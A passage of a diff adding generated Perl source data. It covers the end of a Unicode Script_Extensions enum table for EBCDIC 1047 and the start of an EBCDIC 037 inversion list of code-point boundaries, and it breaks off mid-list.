+	SCX_Kayah_Li,
+	SCX_use_AUX_TABLE_41,
+	SCX_Kayah_Li,
+	SCX_Rejang,
+	SCX_Unknown,
+	SCX_Rejang,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_Javanese,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_42,
+	SCX_Javanese,
+	SCX_Unknown,
+	SCX_Javanese,
+	SCX_Myanmar,
+	SCX_Unknown,
+	SCX_Cham,
+	SCX_Unknown,
+	SCX_Cham,
+	SCX_Unknown,
+	SCX_Cham,
+	SCX_Unknown,
+	SCX_Cham,
+	SCX_Myanmar,
+	SCX_Tai_Viet,
+	SCX_Unknown,
+	SCX_Tai_Viet,
+	SCX_Meetei_Mayek,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Cherokee,
+	SCX_Meetei_Mayek,
+	SCX_Unknown,
+	SCX_Meetei_Mayek,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_Latin,
+	SCX_Unknown,
+	SCX_Armenian,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_9,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_9,
+	SCX_Unknown,
+	SCX_Inherited,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Inherited,
+	SCX_Cyrillic,
+	SCX_Common,
+	SCX_use_AUX_TABLE_31,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_use_AUX_TABLE_30,
+	SCX_use_AUX_TABLE_36,
+	SCX_use_AUX_TABLE_33,
+	SCX_use_AUX_TABLE_36,
+	SCX_use_AUX_TABLE_33,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Linear_B,
+	SCX_Unknown,
+	SCX_Linear_B,
+	SCX_Unknown,
+	SCX_Linear_B,
+	SCX_Unknown,
+	SCX_Linear_B,
+	SCX_Unknown,
+	SCX_Linear_B,
+	SCX_Unknown,
+	SCX_Linear_B,
+	SCX_Unknown,
+	SCX_Linear_B,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_43,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_44,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_43,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Inherited,
+	SCX_Unknown,
+	SCX_Lycian,
+	SCX_Unknown,
+	SCX_Carian,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_45,
+	SCX_Unknown,
+	SCX_Old_Italic,
+	SCX_Unknown,
+	SCX_Old_Italic,
+	SCX_Gothic,
+	SCX_Unknown,
+	SCX_Old_Permic,
+	SCX_Unknown,
+	SCX_Ugaritic,
+	SCX_Unknown,
+	SCX_Ugaritic,
+	SCX_Old_Persian,
+	SCX_Unknown,
+	SCX_Old_Persian,
+	SCX_Unknown,
+	SCX_Deseret,
+	SCX_Shavian,
+	SCX_Osmanya,
+	SCX_Unknown,
+	SCX_Osmanya,
+	SCX_Unknown,
+	SCX_Osage,
+	SCX_Unknown,
+	SCX_Osage,
+	SCX_Unknown,
+	SCX_Elbasan,
+	SCX_Unknown,
+	SCX_Caucasian_Albanian,
+	SCX_Unknown,
+	SCX_Caucasian_Albanian,
+	SCX_Unknown,
+	SCX_Linear_A,
+	SCX_Unknown,
+	SCX_Linear_A,
+	SCX_Unknown,
+	SCX_Linear_A,
+	SCX_Unknown,
+	SCX_Cypriot,
+	SCX_Unknown,
+	SCX_Cypriot,
+	SCX_Unknown,
+	SCX_Cypriot,
+	SCX_Unknown,
+	SCX_Cypriot,
+	SCX_Unknown,
+	SCX_Cypriot,
+	SCX_Unknown,
+	SCX_Cypriot,
+	SCX_Imperial_Aramaic,
+	SCX_Unknown,
+	SCX_Imperial_Aramaic,
+	SCX_Palmyrene,
+	SCX_Nabataean,
+	SCX_Unknown,
+	SCX_Nabataean,
+	SCX_Unknown,
+	SCX_Hatran,
+	SCX_Unknown,
+	SCX_Hatran,
+	SCX_Unknown,
+	SCX_Hatran,
+	SCX_Phoenician,
+	SCX_Unknown,
+	SCX_Phoenician,
+	SCX_Lydian,
+	SCX_Unknown,
+	SCX_Lydian,
+	SCX_Unknown,
+	SCX_Meroitic_Hieroglyphs,
+	SCX_Meroitic_Cursive,
+	SCX_Unknown,
+	SCX_Meroitic_Cursive,
+	SCX_Unknown,
+	SCX_Meroitic_Cursive,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Old_South_Arabian,
+	SCX_Old_North_Arabian,
+	SCX_Unknown,
+	SCX_Manichaean,
+	SCX_Unknown,
+	SCX_Manichaean,
+	SCX_Unknown,
+	SCX_Avestan,
+	SCX_Unknown,
+	SCX_Avestan,
+	SCX_Inscriptional_Parthian,
+	SCX_Unknown,
+	SCX_Inscriptional_Parthian,
+	SCX_Inscriptional_Pahlavi,
+	SCX_Unknown,
+	SCX_Inscriptional_Pahlavi,
+	SCX_Psalter_Pahlavi,
+	SCX_Unknown,
+	SCX_Psalter_Pahlavi,
+	SCX_Unknown,
+	SCX_Psalter_Pahlavi,
+	SCX_Unknown,
+	SCX_Old_Turkic,
+	SCX_Unknown,
+	SCX_Old_Hungarian,
+	SCX_Unknown,
+	SCX_Old_Hungarian,
+	SCX_Unknown,
+	SCX_Old_Hungarian,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Brahmi,
+	SCX_Unknown,
+	SCX_Brahmi,
+	SCX_Unknown,
+	SCX_Brahmi,
+	SCX_Kaithi,
+	SCX_Unknown,
+	SCX_Sora_Sompeng,
+	SCX_Unknown,
+	SCX_Sora_Sompeng,
+	SCX_Unknown,
+	SCX_Chakma,
+	SCX_Unknown,
+	SCX_Chakma,
+	SCX_Unknown,
+	SCX_Mahajani,
+	SCX_Unknown,
+	SCX_Sharada,
+	SCX_Unknown,
+	SCX_Sharada,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Khojki,
+	SCX_Unknown,
+	SCX_Khojki,
+	SCX_Unknown,
+	SCX_Multani,
+	SCX_Unknown,
+	SCX_Multani,
+	SCX_Unknown,
+	SCX_Multani,
+	SCX_Unknown,
+	SCX_Multani,
+	SCX_Unknown,
+	SCX_Multani,
+	SCX_Unknown,
+	SCX_Khudawadi,
+	SCX_Unknown,
+	SCX_Khudawadi,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_use_AUX_TABLE_18,
+	SCX_Grantha,
+	SCX_use_AUX_TABLE_18,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_18,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Newa,
+	SCX_Unknown,
+	SCX_Newa,
+	SCX_Unknown,
+	SCX_Newa,
+	SCX_Unknown,
+	SCX_Tirhuta,
+	SCX_Unknown,
+	SCX_Tirhuta,
+	SCX_Unknown,
+	SCX_Siddham,
+	SCX_Unknown,
+	SCX_Siddham,
+	SCX_Unknown,
+	SCX_Modi,
+	SCX_Unknown,
+	SCX_Modi,
+	SCX_Unknown,
+	SCX_Mongolian,
+	SCX_Unknown,
+	SCX_Takri,
+	SCX_Unknown,
+	SCX_Takri,
+	SCX_Unknown,
+	SCX_Ahom,
+	SCX_Unknown,
+	SCX_Ahom,
+	SCX_Unknown,
+	SCX_Ahom,
+	SCX_Unknown,
+	SCX_Warang_Citi,
+	SCX_Unknown,
+	SCX_Warang_Citi,
+	SCX_Unknown,
+	SCX_Zanabazar_Square,
+	SCX_Unknown,
+	SCX_Soyombo,
+	SCX_Unknown,
+	SCX_Soyombo,
+	SCX_Unknown,
+	SCX_Soyombo,
+	SCX_Unknown,
+	SCX_Pau_Cin_Hau,
+	SCX_Unknown,
+	SCX_Bhaiksuki,
+	SCX_Unknown,
+	SCX_Bhaiksuki,
+	SCX_Unknown,
+	SCX_Bhaiksuki,
+	SCX_Unknown,
+	SCX_Bhaiksuki,
+	SCX_Unknown,
+	SCX_Marchen,
+	SCX_Unknown,
+	SCX_Marchen,
+	SCX_Unknown,
+	SCX_Marchen,
+	SCX_Unknown,
+	SCX_Masaram_Gondi,
+	SCX_Unknown,
+	SCX_Masaram_Gondi,
+	SCX_Unknown,
+	SCX_Masaram_Gondi,
+	SCX_Unknown,
+	SCX_Masaram_Gondi,
+	SCX_Unknown,
+	SCX_Masaram_Gondi,
+	SCX_Unknown,
+	SCX_Masaram_Gondi,
+	SCX_Unknown,
+	SCX_Masaram_Gondi,
+	SCX_Unknown,
+	SCX_Cuneiform,
+	SCX_Unknown,
+	SCX_Cuneiform,
+	SCX_Unknown,
+	SCX_Cuneiform,
+	SCX_Unknown,
+	SCX_Cuneiform,
+	SCX_Unknown,
+	SCX_Egyptian_Hieroglyphs,
+	SCX_Unknown,
+	SCX_Anatolian_Hieroglyphs,
+	SCX_Unknown,
+	SCX_Bamum,
+	SCX_Unknown,
+	SCX_Mro,
+	SCX_Unknown,
+	SCX_Mro,
+	SCX_Unknown,
+	SCX_Mro,
+	SCX_Unknown,
+	SCX_Bassa_Vah,
+	SCX_Unknown,
+	SCX_Bassa_Vah,
+	SCX_Unknown,
+	SCX_Pahawh_Hmong,
+	SCX_Unknown,
+	SCX_Pahawh_Hmong,
+	SCX_Unknown,
+	SCX_Pahawh_Hmong,
+	SCX_Unknown,
+	SCX_Pahawh_Hmong,
+	SCX_Unknown,
+	SCX_Pahawh_Hmong,
+	SCX_Unknown,
+	SCX_Miao,
+	SCX_Unknown,
+	SCX_Miao,
+	SCX_Unknown,
+	SCX_Miao,
+	SCX_Unknown,
+	SCX_Tangut,
+	SCX_Nushu,
+	SCX_Unknown,
+	SCX_Tangut,
+	SCX_Unknown,
+	SCX_Tangut,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_36,
+	SCX_use_AUX_TABLE_35,
+	SCX_Unknown,
+	SCX_Nushu,
+	SCX_Unknown,
+	SCX_Duployan,
+	SCX_Unknown,
+	SCX_Duployan,
+	SCX_Unknown,
+	SCX_Duployan,
+	SCX_Unknown,
+	SCX_Duployan,
+	SCX_Unknown,
+	SCX_Duployan,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Inherited,
+	SCX_Common,
+	SCX_Inherited,
+	SCX_Common,
+	SCX_Inherited,
+	SCX_Common,
+	SCX_Inherited,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_SignWriting,
+	SCX_Unknown,
+	SCX_SignWriting,
+	SCX_Unknown,
+	SCX_SignWriting,
+	SCX_Unknown,
+	SCX_Glagolitic,
+	SCX_Unknown,
+	SCX_Glagolitic,
+	SCX_Unknown,
+	SCX_Glagolitic,
+	SCX_Unknown,
+	SCX_Glagolitic,
+	SCX_Unknown,
+	SCX_Glagolitic,
+	SCX_Unknown,
+	SCX_Mende_Kikakui,
+	SCX_Unknown,
+	SCX_Mende_Kikakui,
+	SCX_Unknown,
+	SCX_Adlam,
+	SCX_Unknown,
+	SCX_Adlam,
+	SCX_Unknown,
+	SCX_Adlam,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_use_AUX_TABLE_35,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Inherited,
+	SCX_Unknown
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#endif	/* defined(PERL_IN_REGEXEC_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV _Perl_SCX_invlist[] = { /* for EBCDIC 037 */
+	1602,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2B9,
+	0x2E0,
+	0x2E5,
+	0x2EA,
+	0x2EC,
+	0x300,
+	0x342,
+	0x343,
+	0x345,
+	0x346,
+	0x363,
+	0x370,
+	0x374,
+	0x375,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x384,
+	0x385,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3E2,
+	0x3F0,
+	0x400,
+	0x483,
+	0x484,
+	0x485,
+	0x487,
+	0x488,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58A,
+	0x58B,
+	0x58D,
+	0x590,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x605,
+	0x606,
+	0x60C,
+	0x60D,
+	0x61B,
+	0x61D,
+	0x61E,
+	0x61F,
+	0x620,
+	0x640,
+	0x641,
+	0x64B,
+	0x656,
+	0x660,
+	0x66A,
+	0x670,
+	0x671,
+	0x6DD,
+	0x6DE,
+	0x700,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x750,
+	0x780,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x900,
+	0x951,
+	0x952,
+	0x953,
+	0x964,
+	0x965,
+	0x966,
+	0x970,
+	0x980,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9F0,
+	0x9FE,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA70,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF2,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAA,
+	0xBAB,
+	0xBAE,
+	0xBB5,
+	0xBB6,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBF3,
+	0xBFB,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC80,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD50,
+	0xD54,
+	0xD64,
+	0xD66,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE40,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFD5,
+	0xFD9,
+	0xFDB,
+	0x1000,
+	0x1040,
+	0x104A,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1100,
+	0x1200,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1400,
+	0x1680,
+	0x169D,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1735,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x1802,
+	0x1804,
+	0x1805,
+	0x1806,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x19E0,
+	0x1A00,
+	0x1A1C,
+	0x1A1E,
+	0x1A20,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BC0,
+	0x1BF4,
+	0x1BFC,
+	0x1C00,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C50,
+	0x1C80,
+	0x1C89,
+	0x1CC0,
+	0x1CC8,
+	0x1CD0,
+	0x1CD1,
+	0x1CD2,
+	0x1CD4,
+	0x1CD7,
+	0x1CD8,
+	0x1CD9,
+	0x1CDA,
+	0x1CDB,
+	0x1CDC,
+	0x1CDE,
+	0x1CE0,
+	0x1CE1,
+	0x1CF2,
+	0x1CF5,
+	0x1CF6,
+	0x1CF7,
+	0x1CF8,
+	0x1CFA,
+	0x1D00,
+	0x1D26,
+	0x1D2B,
+	0x1D2C,
+	0x1D5D,
+	0x1D62,
+	0x1D66,
